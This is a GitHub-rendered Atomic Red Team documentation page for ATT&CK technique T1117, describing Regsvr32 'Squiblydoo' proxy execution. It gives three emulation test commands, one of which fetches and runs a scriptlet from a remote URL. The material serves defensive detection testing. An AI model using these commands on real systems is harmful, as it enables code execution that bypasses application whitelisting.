Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
CircleCI Atomic Red Team doc generator Generate docs from job=validate_atomics_generate_docs branch=master 6965fc1 Nov 14, 2018
0 contributors

Users who have contributed to this file

74 lines (49 sloc) 3.54 KB

T1117 - Regsvr32

Description from ATT&CK

Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)

Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.

Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)

Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via Component Object Model Hijacking. (Citation: Carbon Black Squiblydoo Apr 2016)

Atomic Tests


Atomic Test #1 - Regsvr32 local COM scriptlet execution

Regsvr32.exe is a command-line program used to register and unregister OLE controls

Supported Platforms: Windows

Inputs

Name Description Type Default Value
filename Name of the local file, include path. Path C:\AtomicRedTeam\atomics\T1117\RegSvr32.sct

Run it with command_prompt!

regsvr32.exe /s /u /i:#{filename} scrobj.dll


Atomic Test #2 - Regsvr32 remote COM scriptlet execution

Regsvr32.exe is a command-line program used to register and unregister OLE controls

Supported Platforms: Windows

Inputs

Name Description Type Default Value
url URL to hosted sct file Url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct

Run it with command_prompt!

regsvr32.exe /s /u /i:#{url} scrobj.dll


Atomic Test #3 - Regsvr32 local DLL execution

Regsvr32.exe is a command-line program used to register and unregister OLE controls

Supported Platforms: Windows

Inputs

Name Description Type Default Value
dll_name Name of DLL to Execute, DLL Should export DllRegisterServer Path C:\AtomicRedTeam\atomics\T1117\bin\AllTheThingsx86.dll

Run it with command_prompt!

"IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe /s #{dll_name}) ELSE ( regsvr32.exe /s #{dll_name} )"

You can’t perform that action at this time.